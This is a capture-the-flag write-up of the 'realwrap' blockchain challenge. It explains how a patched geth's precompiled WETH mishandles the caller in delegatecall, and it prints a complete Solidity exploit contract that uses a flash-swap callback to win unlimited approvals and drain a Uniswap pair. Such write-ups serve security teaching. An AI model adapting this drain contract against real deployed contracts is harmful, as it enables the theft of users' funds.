realwrap

Authors: sam.ninja

Tags: blockchain

WETH on Ethereum is too cumbersome! I’ll show you what is real Wrapped ETH by utilizing precompiled contract, it works like a charm especially when exchanging ETH in a swap pair. And most important, IT IS VERY SECURE!

In this challenge there is a UniswapV2Pair contract that allows us to swap between “precompiled” WETH and a simple ECR20 token. The goal is to drain the reserve of the Uniswap contract.

import "./@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./UniswapV2Pair.sol";

contract SimpleToken is ERC20 {
    constructor(uint256 _initialSupply) ERC20("SimpleToken", "SPT") {
        _mint(msg.sender, _initialSupply);
    }
}

contract Factory {
    address public constant WETH = 0x0000000000000000000000000000000000004eA1;
    address public uniswapV2Pair;

    constructor() payable {
        require(msg.value == 1 ether);
        address token = address(new SimpleToken(10 ** 8 * 1 ether));
        uniswapV2Pair = createPair(WETH, token);
        IERC20(WETH).transfer(uniswapV2Pair, 1 ether);
        IERC20(token).transfer(uniswapV2Pair, 100 ether);
        IUniswapV2Pair(uniswapV2Pair).mint(msg.sender);
    }

    // [...]

    function isSolved() public view returns (bool) {
        (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(uniswapV2Pair)
            .getReserves();
        return reserve0 == 0 && reserve1 == 0;
    }
}

The Uniswap contract itself is not vulnerable but they have patched geth to implement a WETH contract directly in the EVM. In the patch, they introduced a vulnerability in the implementation of DelegateCall.

If the Uniswap contract calls our contract, we can make a delegatecall to the WETH contract and the caller passed to the Run function will be the Uniswap contract that we want to drain.

func (evm *EVM) DelegateCall(caller ContractRef, addr common.Address, input []byte, gas uint64) (ret []byte, leftOverGas uint64, err error) {
    // [...]

	// Initialise a new contract and make initialise the delegate values
	contract := NewContract(caller, AccountRef(caller.Address()), nil, gas).AsDelegate()
	// It is allowed to call precompiles, even via delegatecall
	if p, isPrecompile := evm.precompile(addr); isPrecompile {
		ret, gas, err = p.Run(evm, contract.Caller(), input, gas, evm.interpreter.readOnly)
	}
    // [...]
}

UniswapV2 supports flash swaps so we can use this to make it call a uniswapV2Call function in our contract. In this function, we can do a delegatecall to the WETH.approve to approve our contract to spend all its WETH.

We cannot do the same for the ERC20 token because it is not a precompiled contract but WETH has a function transferAndCall that allows us to call token.approve on behalf on the Uniswap contract.

Here is the exploit contract:

pragma solidity ^0.8.17;

import "./@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./UniswapV2Pair.sol";

contract Exploit {
    address public constant WETH = 0x0000000000000000000000000000000000004eA1;
    IERC20 public constant WETH_contract = IERC20(WETH);
    IERC20 token;
    UniswapV2Pair uniswap;

    constructor(address uniswapV2Pair) {
        uniswap = UniswapV2Pair(uniswapV2Pair);
        token = IERC20(uniswap.token1());
    }

    function exploit() external payable {
        // Flash swap to make the contract call our uniswapV2Call function
        uniswap.swap(1, 0, address(this), "1");
        
        // We should now be allowed to spend all the WETH and the tokens
        require(WETH_contract.allowance(address(uniswap), address(this)) == type(uint256).max, "exploit failed for WETH");
        require(token.allowance(address(uniswap), address(this)) == type(uint256).max, "exploit failed for Token");

        // Drain the contract
        WETH_contract.transferFrom(address(uniswap), address(this), WETH_contract.balanceOf(address(uniswap)));
        token.transferFrom(address(uniswap), address(this), token.balanceOf(address(uniswap)));

        // Sync to update the reserve variables
        uniswap.sync();
    }

    function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external {
        // Payback the flash swap
        WETH_contract.transfer(address(uniswap), 3);

        // Approve our contract to spend all the WETH
        (bool success, bytes memory data) = WETH.delegatecall(abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max));

        // Approve our contract to spend all the tokens
        WETH.delegatecall(abi.encodeWithSignature("transferAndCall(address,uint256,bytes)", address(token), 1, abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max)));
    }
}